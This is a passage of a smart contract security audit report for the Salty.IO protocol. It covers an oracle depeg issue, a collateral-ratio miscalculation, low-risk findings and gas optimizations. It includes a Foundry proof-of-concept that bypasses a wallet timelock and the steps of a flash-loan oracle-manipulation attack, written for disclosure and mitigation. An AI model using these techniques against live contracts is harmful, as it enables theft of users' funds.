changeMinimumCollateralRatioPercent() allows the owner to change the minimumCollateralRatioPercent
while the changeRewardPercentForCallingLiquidation() function allows to change the rewardPercentForCallingLiquidation
.
The protocol aims to maintain a remaining ratio of 105%
as is evident by the comments in these 2 functions:
// Don't decrease the minimumCollateralRatioPercent if the remainingRatio after the rewards would be less than 105% - to ensure that the position will be liquidatable for more than the originally borrowed USDS amount (assume reasonable market volatility)
and
// Don't increase rewardPercentForCallingLiquidation if the remainingRatio after the rewards would be less than 105% - to ensure that the position will be liquidatable for more than the originally borrowed USDS amount (assume reasonable market volatility)
That is, if borrow amount is 100
, after the calls to any of these two functions, there should be at least 105
collateral remaining which will act as buffer against market volatility.
The current calculation however is incorrect and there is really no direct relationship (in the way the developer assumes) between the rewardPercentForCallingLiquidation
and minimumCollateralRatioPercent
. Consider this:
minimumCollateralRatioPercent
of 110% means that for a borrow amount of200
, collateral should not go below220
. This is 110% of 200.- However,
rewardPercentForCallingLiquidation
of 5% is calculated on the collateral amount and NOT the borrowed amount as is evident in the comments too here and here. So the liquidator will receive5% of 220
(let’s assume boundary values for rounded calculations) which is11
. - The remaining amount would be
220 - 11 = 209
which is104.5%
of the borrowed amount. This is less than the 105% the protocol was aiming for. In fact, this figure of104.5%
goes down further to103.5%
whenrewardPercentForCallingLiquidation = 5%
andminimumCollateralRatioPercent = 115%
which is much lower than protocol’s buffer target. Not being aware of this risk can cause unexpected loss of funds.
A table outlining the real buffer upper limit values is provided below. Another table showing the actual desirable gap in values is also provided so that the buffer always is above 105%.
Straightaway, it can be seen that the current default protocol values of 5% and 110% give a buffer of less than 105% and hence either the minimumCollateralRatioPercent
needs to have a lower limit of 111
instead of 110, or there should be agreement to the fact that 103.5%
is an acceptable remainingRatio
figure under the current scheme of things.
Proof of Concept
All figures expressed as % of borrowed amount i.e. 104.5
means 100
was borrowed.
Current Implementation:
rewardPercentForCallingLiquidation | minimumCollateralRatioPercent | Actual price fluctuation upper limit (instead of the expected 105%) |
---|---|---|
5 | 110 | 104.5 |
6 | 111 | 104.34 |
7 | 112 | 104.16 |
8 | 113 | 103.96 |
9 | 114 | 103.74 |
10 | 115 | 103.5 |
Desired figures for maintaining an upper limit of >= 105%
of borrowed amount:
rewardPercentForCallingLiquidation | Desired minimumCollateralRatioPercent | Resultant price fluctuation upper limit |
---|---|---|
5 | 111 | 105.45 |
6 | 112 | 105.28 |
7 | 113 | 105.09 |
8 | 115 | 105.8 |
9 | 116 | 105.56 |
10 | 117 | 105.3 |
Recommended Mitigation Steps
Assuming that the protocol wants to calculate an actual 105% remainingRatio
, changes along these lines need to be made. Please note that you may have to additionally make sure rounding errors & precision loss do not creep in. These suggestions point towards a general direction:
Update the two functions:
function changeRewardPercentForCallingLiquidation(bool increase) external onlyOwner
{
if (increase)
{
// Don't increase rewardPercentForCallingLiquidation if the remainingRatio after the rewards would be less than 105% - to ensure that the position will be liquidatable for more than the originally borrowed USDS amount (assume reasonable market volatility)
+ uint256 afterIncrease = rewardPercentForCallingLiquidation + 1;
+ uint256 remainingRatio = minimumCollateralRatioPercent - minimumCollateralRatioPercent * afterIncrease / 100;
- uint256 remainingRatioAfterReward = minimumCollateralRatioPercent - rewardPercentForCallingLiquidation - 1;
- if (remainingRatioAfterReward >= 105 && rewardPercentForCallingLiquidation < 10)
+ if (remainingRatio >= 105 && rewardPercentForCallingLiquidation < 10)
rewardPercentForCallingLiquidation += 1;
}
else
{
if (rewardPercentForCallingLiquidation > 5)
rewardPercentForCallingLiquidation -= 1;
}
emit RewardPercentForCallingLiquidationChanged(rewardPercentForCallingLiquidation);
}
and
function changeMinimumCollateralRatioPercent(bool increase) external onlyOwner
{
if (increase)
{
if (minimumCollateralRatioPercent < 120)
minimumCollateralRatioPercent += 1;
}
else
{
// Don't decrease the minimumCollateralRatioPercent if the remainingRatio after the rewards would be less than 105% - to ensure that the position will be liquidatable for more than the originally borrowed USDS amount (assume reasonable market volatility)
+ uint256 afterDecrease = minimumCollateralRatioPercent - 1;
+ uint256 remainingRatio = afterDecrease - afterDecrease * rewardPercentForCallingLiquidation / 100;
- uint256 remainingRatioAfterReward = minimumCollateralRatioPercent - 1 - rewardPercentForCallingLiquidation;
- if (remainingRatioAfterReward >= 105 && minimumCollateralRatioPercent > 110)
+ if (remainingRatio >= 105 && minimumCollateralRatioPercent > 111)
minimumCollateralRatioPercent -= 1;
}
emit MinimumCollateralRatioPercentChanged(minimumCollateralRatioPercent);
}
Also L39:
- 39: uint256 public minimumCollateralRatioPercent = 110;
+ 39: uint256 public minimumCollateralRatioPercent = 111;
This report shows how an invariant of the protocol is broken so Medium severity seems appropriate.
othernet-global (Salty.IO) acknowledged and commented:
The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed:
https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9
Status: Mitigation confirmed. Full details in reports from zzebra83, 0xpiken, and t0x1c.
[M-30] Chainlink price feed uses BTC, not WBTC. In case of depegging, oracles will become easier to manipulate
Submitted by thekmj, also found by peanuts, Tripathi, Ward, OMEN, Toshii, J4X, grearlake, 00xSEV, juancito, Lalanda, and eeshenggoh
https://github.com/code-423n4/2024-01-salty/blob/main/src/price_feed/CoreChainlinkFeed.sol#L15
https://github.com/code-423n4/2024-01-salty/blob/main/src/price_feed/CoreSaltyFeed.sol#L32-L41
https://github.com/code-423n4/2024-01-salty/blob/main/src/price_feed/PriceAggregator.sol#L108
Chainlink BTC price feed is BTC/USD, not WBTC/USD. In the event of WBTC depegging, the oracle’s return price will deviate from its actual value. We also provide a real-life WBTC depegging event as evidence.
This alone is not enough for the price aggregator to return the incorrect price, as an adversary needs to manipulate two of three price feeds to manipulate the price. However, due to the aggregator design, we also make an argument that in case of actual depegging, the price will indeed be easier to manipulate.
Vulnerability details
According to the official Chainlink docs, there are four price feeds for BTC on Ethereum Mainnet:
- BTC / ETH
- BTC / USD
- ETH / BTC
- WBTC / BTC
Based on the following observations, we believe Salty will use BTC/USD on the Chainlink price feed, instead of WBTC:
- All test cases use BTC/USD feed, and nowhere in the code repo is the WBTC feed used.
- There is no WBTC/USD feed on Ethereum Mainnet (they are available on some other networks).
- Salty’s Chainlink price fetcher uses only one feed for the WBTC price. At least two feeds are needed (WBTC/BTC and BTC/USD) to fetch the WBTC/USD price.
Historically, WBTC has depegged down to 0.98 before, in the event of wild market swing, specifically during the LUNA crash.
- Even as of time of report writing, the Chainlink feed for WBTC/BTC does not return a price of 1. Screenshot.
This article explains some of the reasons of why WBTC can depeg.
Full oracle manipulation (PoC)
This alone is not enough to manipulate the oracle entirely, as Salty uses a triple-oracle setting, consisting of Uniswap V3 TWAP, Chainlink price, and Salty pool spot price:
- Out of the three prices, the oracle selects the two price with the lower absolute difference.
- If the two chosen prices are too different, returns 0 signalling failure. Otherwise, return the average of the chosen prices.
However, if the Chainlink price has already deviates, then an adversary will only have to manipulate one more oracle to manipulate the price feed.
The weaker Oracle out of the remaining two is the Salty WBTC pool spot price. Assuming WBTC has already depegged, an adversary can perform the following attack to gain profit:
- Flash loan a large amount of WBTC from anywhere.
- Perform a swap on the WBTC Salty pool, skewing its spot price to be closer to the Chainlink (wrong) price feed.
- The aggregated price now reflects the BTC/USD price, instead of WBTC/USD.
-
With a deviated price, there is a lot that the attacker can do for free:
- Liquidate positions that is actually not yet underwater, and take profit.
- Return the flash loan amount.
An attacker can also take an undercollateralized position. However, this is more difficult to profit from, as it also requires rapid market swing and the lack of liquation before the position becomes insolvent. This also requires that an attacker has large enough capital.
- Given the scenario where the de-peg has already occured, then this becomes more realistic.
Impact
In the event of WBTC/BTC depeg, such as rapid market swing, the price oracle will become easier to manipulate.
- Given the price of BTC, even a 2% deviation can be considered large.
Recommended mitigation steps
Collect the WBTC price from two Chainlink price feeds, the BTC/USD feed and the WBTC/BTC feed, as the source of truth.
othernet-global (Salty.IO) acknowledged and commented:
The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed:
https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9
Status: Mitigation confirmed. Full details in reports from 0xpiken, zzebra83, and t0x1c.
[M-31] changeWallets() can be confirmed immediately after proposalWallets() by manipulating activeTimelock beforehand
Submitted by t0x1c, also found by ether_sky, peanuts, oakcobalt, IceBear, wangxx2026, 0xpiken, and 0xCiphky
ManagedWallet.sol
states that:
// A smart contract which provides two wallet addresses (a main and confirmation wallet) which can be changed using the following mechanism:
// 1. Main wallet can propose a new main wallet and confirmation wallet.
// 2. Confirmation wallet confirms or rejects.
// 3. There is a timelock of 30 days before the proposed mainWallet can confirm the change.
However, the current 30-day wait period can be bypassed.
The expected order by the protocol is:
proposeWallets()
is called bymainWallet
.- To confirm the proposal,
confirmationWallet
sends at least 0.05 ether and causes thereceive()
function to trigger. This sets theactiveTimelock
toblock.timestamp + TIMELOCK_DURATION
i.e. 30 days into the future. proposedMainWallet
callschangeWallets()
after 30 days and the new wallet addresses are set.
To bypass the 30-day limitation, the following flow can be used:
- Even with no propsal for a change existing,
confirmationWallet
sends at least 0.05 ether and causes thereceive()
function to trigger. This sets theactiveTimelock
toblock.timestamp + TIMELOCK_DURATION
i.e. 30 days into the future. -
Just as 30 days pass,
proposeWallets()
is called bymainWallet
- Immediately, with no delay whatsoever,
proposedMainWallet
callschangeWallets()
- The new wallet addresses are successfully assigned.
Impact: Although the users believe that any changes to wallet address is going to have a timelock of 30 days as promised by the protocol, it really can be bypassed by the current admins/wallet addresses. This breaks the intended functionality implmentation.
Proof of Concept
Add the following inside 2024-01-salty/src/root_tests/ManagedWallet.t.sol
and run with COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url https://rpc.sepolia.org/ --mt test_ManipulateActiveTimeLockBeforeProposingNewWallets
:
function test_ManipulateActiveTimeLockBeforeProposingNewWallets() public {
// Set up the initial state with main and confirmation wallets
address initialMainWallet = alice;
address initialConfirmationWallet = address(0x2222);
ManagedWallet managedWallet = new ManagedWallet(initialMainWallet, initialConfirmationWallet);
// Set up the proposed main and confirmation wallets
address newMainWallet = address(0x3333);
address newConfirmationWallet = address(0x4444);
// @audit : Even before any proposal exists, prank as the current confirmation wallet and send ether to start the TIMELOCK_DURATION
uint256 sentValue = 0.06 ether;
vm.prank(initialConfirmationWallet);
vm.deal(initialConfirmationWallet, sentValue);
(bool success,) = address(managedWallet).call{value: sentValue}("");
assertTrue(success, "Confirmation of wallet proposal failed");
// Warp the blockchain time to the future beyond the active timelock period
uint256 currentTime = block.timestamp;
vm.warp(currentTime + TIMELOCK_DURATION);
// Prank as the initial main wallet to propose the new wallets
vm.startPrank(initialMainWallet);
managedWallet.proposeWallets(newMainWallet, newConfirmationWallet);
vm.stopPrank();
// @audit : With NO DELAY, immediately prank as the new proposed main wallet which should now be allowed to call changeWallets
vm.prank(newMainWallet);
managedWallet.changeWallets();
// Check that the mainWallet and confirmationWallet state variables are updated
assertEq(managedWallet.mainWallet(), newMainWallet, "mainWallet was not updated correctly");
assertEq(managedWallet.confirmationWallet(), newConfirmationWallet, "confirmationWallet was not updated correctly");
// Check that the proposed wallets and activeTimelock have been reset
assertEq(managedWallet.proposedMainWallet(), address(0), "proposedMainWallet was not reset");
assertEq(managedWallet.proposedConfirmationWallet(), address(0), "proposedConfirmationWallet was not reset");
assertEq(managedWallet.activeTimelock(), type(uint256).max, "activeTimelock was not reset to max uint256");
}
Tools used
Foundry
Recommended Mitigation Steps
Inside receive()
make sure an active proposal exists:
receive() external payable
{
require( msg.sender == confirmationWallet, "Invalid sender" );
+ require( proposedMainWallet != address(0), "Cannot manipulate activeTimelock without active proposal" );
// Confirm if .05 or more ether is sent and otherwise reject.
// Done this way in case custodial wallets are used as the confirmationWallet - which sometimes won't allow for smart contract calls.
if ( msg.value >= .05 ether )
activeTimelock = block.timestamp + TIMELOCK_DURATION; // establish the timelock
else
activeTimelock = type(uint256).max; // effectively never
}
othernet-global (Salty.IO) confirmed and commented:
Managed wallet has been removed:
https://github.com/othernet-global/salty-io/commit/5766592880737a5e682bb694a3a79e12926d48a5
Status: Mitigation confirmed. Full details in reports from t0x1c, zzebra83, and 0xpiken.
Low Risk and Non-Critical Issues
For this audit, 57 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by juancito received the top score from the judge.
The following wardens also submitted reports: oakcobalt, J4X, peanuts, 7ashraf, niroh, ether_sky, 0xCiphky, t0x1c, Jorgect, 0xbepresent, 0xBinChook, Topmark, lsaudit, Bauchibred, 0xSmartContractSamurai, Tripathi, 0xMango, vnavascues, Arz, grearlake, Audinarey, Udsen, slvDev, pina, lanrebayode77, inzinko, sivanesh_808, KingNFT, jasonxiale, josephdara, IceBear, csanuragjain, The-Seraphs, 0x3b, Draiakoo, 0xpiken, wangxx2026, 0xRobocop, dharma09, Rolezn, ZanyBonzy, a3yip6, chaduke, codeslide, 0xHelium, b0g0, Banditx0x, djxploit, 0xOmer, Rhaydden, Kaysoft, eta, linmiaomiao, jesjupyter, 0xWaitress, and Tigerfrake.
Low Severity Findings
[L-01] - callContract
proposals are created with no description
Impact
callContract
proposals will be created with no description
. The Proposal
contract will be bricked, as it can’t be fixed on-chain. Off-chain tools and integrations will have to create special code to lead with this error. Integrating contracts will have to take this error into account as well.
Vulnerability Details
Note how description
is placed on the string1
parameter of _possiblyCreateProposal for callContract
proposals. string2
is actually used for the description
, so its actual value here will be ""
.
// Proposes calling the callFromDAO(uint256) function on an arbitrary contract.
function proposeCallContract( address contractAddress, uint256 number, string calldata description ) external nonReentrant returns (uint256 ballotID) {
require( contractAddress != address(0), "Contract address cannot be address(0)" );
string memory ballotName = string.concat("callContract:", Strings.toHexString(address(contractAddress)) );
👉 return _possiblyCreateProposal( ballotName, BallotType.CALL_CONTRACT, contractAddress, number, description, "" );
}
string1
is used for calling attributes everywhere else, and string2
is used instead for the description
, like in createConfirmationProposal(), proposeParameterBallot()
, proposeTokenWhitelisting()
just to name a few, but it holds for all proposals.
Recommended Mitigation Steps
Fix the code like this:
// Proposes calling the callFromDAO(uint256) function on an arbitrary contract.
function proposeCallContract( address contractAddress, uint256 number, string calldata description ) external nonReentrant returns (uint256 ballotID) {
require( contractAddress != address(0), "Contract address cannot be address(0)" );
string memory ballotName = string.concat("callContract:", Strings.toHexString(address(contractAddress)) );
- return _possiblyCreateProposal( ballotName, BallotType.CALL_CONTRACT, contractAddress, number, description, "" );
+ return _possiblyCreateProposal( ballotName, BallotType.CALL_CONTRACT, contractAddress, number, "", description );
}
[L-02] - withdrawArbitrageProfits()
will revert when depositedWETH <= PoolUtils.DUST
withdrawArbitrageProfits()
will revert when attempting to withdraw less than the dust amount, because of a check on the pool.
This is called in step 2 of the Upkeep.
Recommendation
Safely return when the depositedWETH
is less than the pools dust:
// The arbitrage profits are deposited in the Pools contract as WETH and owned by the DAO.
uint256 depositedWETH = pools.depositedUserBalance(address(this), weth );
- if ( depositedWETH == 0 )
+ if ( depositedWETH <= PoolUtils.DUST )
return 0;
pools.withdraw( weth, depositedWETH );
[L-03] - string1
and string2
length is not validated when creating proposals
In _possiblyCreateProposal()
string1
length is not validated for tokenIconURL
or newWebsiteURL
. string2
is not validated for the proposal description
.
Very large strings will make proposals difficult to read for voters.
Recommendation
Set a limit to the length of the strings
[L-04] - It is possible to create proposals that can’t be finalized
Certain attributes make passing proposal impossible to be finalized, as they will revert. This also bricks the ability of the proposer to ever propose another ballot again, and prevents other users from creating a new ballot with the same name.
Affected proposals:
proposeParameterBallot()
allows to set anyparameterType
, but it can revert when trying to convert it toParameterTypes
, if the number is ot of bounds for theParameterTypes
enum.
Recommendation
Verify the range of the attributes on proposal creation.
[L-05] - tokenWhitelistingBallotWithTheMostVotes()
returns the ballot id 0
when no proposal reaches quorum
If no proposal votes reaches quorum, then the function will returns its default value, which is 0
.
Recommendation
Revert when the returned value is 0
. It is safe, as ballotId
starts at 1, and when the function is used to finalize whitelisted tokens, the ballot already needs to reach quorum to get to this point.
[L-06] - websiteURL
should be set in the constructor
The websiteURL
is set on the DAO only after a ballot voting passes. The initial setup will take many days, from airdrop, to staking, to proposing, to voting, leaving the DAO contract with no initial website URL during that period.
Recommendation
Set an initial value for websiteURL
in the DAO
constructor
.
[L-07] - Votes can’t be delegated
The protocol is missing some function to delegate votes to other users.
This is important as not all users will participate in DAO voting (as there is no direct incentive), and those votes could be delegated to other users they trust and will be actively participating in the DAO.
This makes it easier to reach quorum, to prevent malicious proposals from passing, and incentivizes participation of dedicated users in the DAO.
[L-08] - Signatures do not implement EIP-712
Impact
EIP-712 Motivation is to improve the usability of off-chain message signing for use on-chain.
By not adhering to it, users will find more difficulty understanding what they are signing, as off-chain tools will have trouble decoding the messsage, leading to a compatibility and integration issue.
Signatures can also be replayed on other contracts, as the contract address is not included in the message hash.
Proof of Concept
Message hashes are implemented without following specs by EIP-712, missing the typeHash
, and the domainSeparator
.
bytes32 messageHash = keccak256(abi.encodePacked(block.chainid, geoVersion, wallet));
return SigningTools._verifySignature(messageHash, signature);
bytes32 messageHash = keccak256(abi.encodePacked(block.chainid, msg.sender));
require(SigningTools._verifySignature(messageHash, signature), "Incorrect BootstrapBallot.vote signatory" );
Recommendation
Follow the EIP-712 spec, including the corresponding typeHash
, domainSeparator
, contract address, and build the message hash accordingly.
[L-09] - DUST value too big for tokens with low decimals
Some tokens with a considerable market cap like GUSD, or EURS have 2 decimals.
The DUST
value is fixed at 100
, which can be considerable big as dust, since it is used all over the protocol, with many require
depending on the amount being bigger than it.
Recommendation
Consider defining dust values considering proportional to the decimals of the tokens
[L-10] - Arbitrage profit is not calculated correctly when there is an index with an INVALID_POOL_ID
Impact
1/3 to 2/3 of arbitrage profit may not be distributed
Proof of Concept
Arbitrage profit is always divided by 3, despite some indicies might have an INVALID_POOL_ID
. That means if an index has an invalid pool id, that 33% of arbitrage profits will not be distributed.
// Split the arbitrage profit between all the pools that contributed to generating the arbitrage for the referenced pool.
👉 uint256 arbitrageProfit = _arbitrageProfits[poolID] / 3;
if ( arbitrageProfit > 0 )
{
ArbitrageIndicies memory indicies = _arbitrageIndicies[poolID];
if ( indicies.index1 != INVALID_POOL_ID )
👉 _calculatedProfits[indicies.index1] += arbitrageProfit;
if ( indicies.index2 != INVALID_POOL_ID )
👉 _calculatedProfits[indicies.index2] += arbitrageProfit;
if ( indicies.index3 != INVALID_POOL_ID )
👉 _calculatedProfits[indicies.index3] += arbitrageProfit;
}
}
Recommendation
Count the number of indicies without an INVALID_POOL_ID
, and then distribute the profit evenly among them
[L-11] - Users from excluded countries, without wallet authorization can call cancelUnstake()
There is no restriction in cancelUnstake()
to prevent wallets without access to call the function, like in stakeSALT()
.
Canceling the unstake process puts back the staked SALT in the contract, like with the staking process.
Recommendation
Consider not allowing unauthorized users to cancel their unstake process.
function cancelUnstake( uint256 unstakeID ) external nonReentrant
+ require( exchangeConfig.walletHasAccess(msg.sender), "Sender does not have exchange access" );
Non-Critical Severity Findings
[N-01] - tokenIconURL
is not used in proposeTokenUnwhitelisting()
tokenIconURL
is only used when whitelisting tokens but not when unwhitelisting.
Recommendation
Consider removing it from proposeTokenUnwhitelisting()
[N-02] - sum
in RewardsEmitter
is not used
The sum
variable is calculated in the RewardsEmitter
but never used, nor returned.
It may have been left from a previous refactor, as a sum
variable is also used in StakingRewards::addSALTRewards()
, which is called by the RewardsEmitter
.
The RewardsEmitter
already approved the SALT token to its maximum, so there should be no issue. On any case, I’m highlighting this, as it may hide some other issue I couldn’t detect.
Recommendation
Verify that sum
is actually not used, and remove it from the RewardsEmitter
contract if not.
[N-03] - Replace ==
balance comparison with >=
Even if the initial distribution is supposed to have an exact number of tokens, it is safer to check that the function to distribute them won’t revert if for any reason it has more tokens, which would lock them in the contract:
- require( salt.balanceOf(address(this)) == 100 * MILLION_ETHER, "SALT has already been sent from the contract" );
+ require( salt.balanceOf(address(this)) >= 100 * MILLION_ETHER, "SALT has already been sent from the contract" );
othernet-global (Salty.IO) confirmed and commented:
ManagedWallet has been removed.
https://github.com/othernet-global/salty-io/commit/5766592880737a5e682bb694a3a79e12926d48a5
N-02 (Was L-14) fixed: https://github.com/othernet-global/salty-io/commit/7d61857dd021ac4c549d062a49c83629c2d7d741
L-1: fixed in https://github.com/othernet-global/salty-io/commit/c27620a6ac8209cd45788096927c1e273aa9c36e
L-2: fixed https://github.com/othernet-global/salty-io/commit/e0555c5a53b3675a7eb693633a52cf6e2c601496
L-4: parameterType now validated, https://github.com/othernet-global/salty-io/commit/524b59900013d90d17db2b34263c4973a866ab38
Gas Optimizations
For this audit, 20 reports were submitted by wardens detailing gas optimizations. The report highlighted below by 0xVolcano received the top score from the judge.
The following wardens also submitted reports: 0x11singh99, 0xAnah, dharma09, lsaudit, K42, hunter_w3b, naman1778, JCK, unique, sivanesh_808, slvDev, Raihan, niroh, n0kto, Rolezn, JcFichtner, Kaysoft, Pechenite, and Beepidibop.
Table of contents
-
- Table of contents
- In accordance to the sponsors requirements, this report only focuses on issues that save more than 100 Gas
- Pack
lastUpkeepTimeEmissions
andlastUpkeepTimeRewardsEmitters
together by reducing their size touint128
(Saves 1 SLOT: 2.1K Gas) - Pack the following by reducing their size(Save 3 SLOTS: 6.3K Gas)
- Pack
minUnstakeWeeks,maxUnstakeWeeks,minUnstakePercent
by reducing the sizes(Save 2 SLOTs: 4.2K Gas) - Pack
rewardPercentForCallingLiquidation
withmaxRewardValueForCallingLiquidation
by reducing the size(Save 1 SLOT: 2.1K Gas) - Pack
minimumCollateralValueForBorrowing
withinitialCollateralRatioPercent
(Save 1 SLOT: 2.1K Gas) - Declare immutables for
exchangeConfig.wbtc()
andexchangeConfig.weth()
(Save 2351 Gas on average) - Reference the immutable variable
salt
instead of making the external call again(Save 546 Gas on average) - Use the already defined immutable variable(save 595 Gas on average)
- Use the imutable variable defined in the constructor instead of calling the external function again( Save 110 Gas)
- Define immutable variables for
wbtc
andweth
(Save 253 Gas on average) - Immutable variable already defined(Save 327 Gas on average)
- Expensive operation inside a for loop(Save 640 Gas on average)
- Avoid making unnecessary external calls(Save 4285 Gas on average)
- Refactor the code to avoid unnecessary external calls(Save 1300 Gas on average)
- We should cache the result of a function instead of calling it twice(Save 178 Gas on average )
- Avoid reading state variables due to how the logic is executed(Save 1 SLOAD: 100 Gas)
- Prioritize validating cheap variables first
- Cheaper to validate
block.timestamp >= completionTimestamp
first - Validate
liquidityToRemove
before reading from state - Validate the function parameters before making the state reads
- Validate the function parameter first before making any state reads
- Validate
amountRepaid
before making any state read - Refactor function to only make state assignments after parameter verification
In accordance to the sponsors requirements, this report only focuses on issues that save more than 100 Gas
Note: The issues addressed here were not reported by the bot, for packing variables, notes explaining the how and why are included
Gas estimates are given by running included tests COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url http://x.x.x.x:yyy --gas-report
but for packing issues, we can simply calculate from the number of SLOTs saved
Pack lastUpkeepTimeEmissions
and lastUpkeepTimeRewardsEmitters
together by reducing their size to uint128
(Saves 1 SLOT: 2.1K Gas)
File: /src/Upkeep.sol
63: uint256 public lastUpkeepTimeEmissions;
64: uint256 public lastUpkeepTimeRewardsEmitters;
Since this are timestamps, we can reduce the size to something like uint128
and should still be big enough. We can see the evidence of them being timestamps in how they are assigned:
86: lastUpkeepTimeEmissions = block.timestamp;
87: lastUpkeepTimeRewardsEmitters = block.timestamp;
Reducing the size will save us one storage slot:
diff --git a/src/Upkeep.sol b/src/Upkeep.sol
index 7587bde..407850a 100644
--- a/src/Upkeep.sol
+++ b/src/Upkeep.sol
@@ -60,8 +60,8 @@ contract Upkeep is IUpkeep, ReentrancyGuard
IUSDS immutable public usds;
IERC20 immutable public dai;
- uint256 public lastUpkeepTimeEmissions;
- uint256 public lastUpkeepTimeRewardsEmitters;
+ uint128 public lastUpkeepTimeEmissions;
+ uint128 public lastUpkeepTimeRewardsEmitters;
Pack the following by reducing their size(Save 3 SLOTS: 6.3K Gas)
File: /src/price_feed/PriceAggregator.sol
21: IPriceFeed public priceFeed3; // CoreSaltyFeed by default
23: // The next time at which setPriceFeed can be called
24: uint256 public priceFeedModificationCooldownExpiration;
28: // Range: 1% to 7% with an adjustment of .50%
29: uint256 public maximumPriceFeedPercentDifferenceTimes1000 = 3000; // Defaults to 3.0% with a 1000x multiplier
33: // Range: 30 to 45 days with an adjustment of 5 days
34: uint256 public priceFeedModificationCooldown = 35 days;
Since priceFeedModificationCooldownExpiration
is a timestamp, we can reduce it’s size to uint48
which should be safe enough.
maximumPriceFeedPercentDifferenceTimes1000
has a defined range with the max bound being 7000
therefore uint32
can fit the max value
priceFeedModificationCooldown
also has some ranges defined with the max value being 45 days we can therefore use uint16
or even uint8
Note, all the bounds are enforced whenever we alter the variables , eg https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/price_feed/PriceAggregator.sol#L65-L79:
function changeMaximumPriceFeedPercentDifferenceTimes1000(bool increase) public onlyOwner
{
if (increase)
{
if (maximumPriceFeedPercentDifferenceTimes1000 < 7000)
maximumPriceFeedPercentDifferenceTimes1000 += 500;
}
else
{
if (maximumPriceFeedPercentDifferenceTimes1000 > 1000)
maximumPriceFeedPercentDifferenceTimes1000 -= 500;
}
Note, the value would only be incremented if we are currently less than 7000, which ensures that we never go above the 7000 bound.
The same enforcement is done for priceFeedModificationCooldown
here https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/price_feed/PriceAggregator.sol#L82-L96.
We choose to pack with the address priceFeed3
as they are all accessed within the same transaction:
diff --git a/src/price_feed/PriceAggregator.sol b/src/price_feed/PriceAggregator.sol
index ab23f29..c987c0a 100644
--- a/src/price_feed/PriceAggregator.sol
+++ b/src/price_feed/PriceAggregator.sol
@@ -18,20 +18,20 @@ contract PriceAggregator is IPriceAggregator, Ownable
IPriceFeed public priceFeed1; // CoreUniswapFeed by default
IPriceFeed public priceFeed2; // CoreChainlinkFeed by default
- IPriceFeed public priceFeed3; // CoreSaltyFeed by default
+ IPriceFeed public priceFeed3; // CoreSaltyFeed by default //@audit 20
// The next time at which setPriceFeed can be called
- uint256 public priceFeedModificationCooldownExpiration;
+ uint48 public priceFeedModificationCooldownExpiration;//@audit timestamp
// The maximum percent difference between two non-zero PriceFeed prices when aggregating price.
// When the two closest PriceFeeds (out of the three) have prices further apart than this the aggregated price is considered invalid.
// Range: 1% to 7% with an adjustment of .50%
- uint256 public maximumPriceFeedPercentDifferenceTimes1000 = 3000; // Defaults to 3.0% with a 1000x multiplier
+ uint32 public maximumPriceFeedPercentDifferenceTimes1000 = 3000; // Defaults to 3.0% with a 1000x multiplier //@audit max = 7k
// The required cooldown between calls to setPriceFeed.
// Allows time to evaluate the performance of the recently updatef PriceFeed before further updates are made.
// Range: 30 to 45 days with an adjustment of 5 days
- uint256 public priceFeedModificationCooldown = 35 days;
+ uint16 public priceFeedModificationCooldown = 35 days; //@audit max 45
Pack minUnstakeWeeks,maxUnstakeWeeks,minUnstakePercent
by reducing the sizes(Save 2 SLOTs: 4.2K Gas)
File: /src/staking/StakingConfig.sol
17: // Range: 1 to 12 with an adjustment of 1
18: uint256 public minUnstakeWeeks = 2; // minUnstakePercent returned for unstaking this number of weeks
21: // Range: 20 to 108 with an adjustment of 8
22: uint256 public maxUnstakeWeeks = 52;
25: // Range: 10 to 50 with an adjustment of 5
26: uint256 public minUnstakePercent = 20;
We can reduce the size of the the variables above to uint64
. This should be safe as the variables have some Ranges already defined.
For minUnstakeWeeks
the max the value can get is 12 and this is also enforced on the function changeMinUnstakeWeeks
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingConfig.sol#L34-L48
function changeMinUnstakeWeeks(bool increase) external onlyOwner
{
if (increase)
{
if (minUnstakeWeeks < 12)
minUnstakeWeeks += 1;
}
else
{
if (minUnstakeWeeks > 1)
minUnstakeWeeks -= 1;
}
emit MinUnstakeWeeksChanged(minUnstakeWeeks);
}
Note, the value is only incremented if it’s less than 12.
The other variables also have defined bounds , for maxUnstakeWeeks
the biggest we can get is 108
while for minUnstakePercent
the range is defined as 10
to 50
:
diff --git a/src/staking/StakingConfig.sol b/src/staking/StakingConfig.sol
index 33b77d9..d94d08a 100644
--- a/src/staking/StakingConfig.sol
+++ b/src/staking/StakingConfig.sol
@@ -15,15 +15,15 @@ contract StakingConfig is IStakingConfig, Ownable
// The minimum number of weeks for an unstake request at which point minUnstakePercent of the original staked SALT is reclaimable.
// Range: 1 to 12 with an adjustment of 1
- uint256 public minUnstakeWeeks = 2; // minUnstakePercent returned for unstaking this number of weeks
+ uint64 public minUnstakeWeeks = 2; // minUnstakePercent returned for unstaking this number of weeks
// The maximum number of weeks for an unstake request at which point 100% of the original staked SALT is reclaimable.
// Range: 20 to 108 with an adjustment of 8
- uint256 public maxUnstakeWeeks = 52;
+ uint64 public maxUnstakeWeeks = 52;//@audit (Always bound between 20 -108)
// The percentage of the original staked SALT that is reclaimable when unstaking the minimum number of weeks.
// Range: 10 to 50 with an adjustment of 5
- uint256 public minUnstakePercent = 20;
+ uint64 public minUnstakePercent = 20;
The reason we pack this variables together is because they are accessed in the same transaction shown below https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/Staking.sol#L198-L212:
function calculateUnstake( uint256 unstakedXSALT, uint256 numWeeks ) public view returns (uint256)
{
uint256 minUnstakeWeeks = stakingConfig.minUnstakeWeeks();
uint256 maxUnstakeWeeks = stakingConfig.maxUnstakeWeeks();
uint256 minUnstakePercent = stakingConfig.minUnstakePercent();
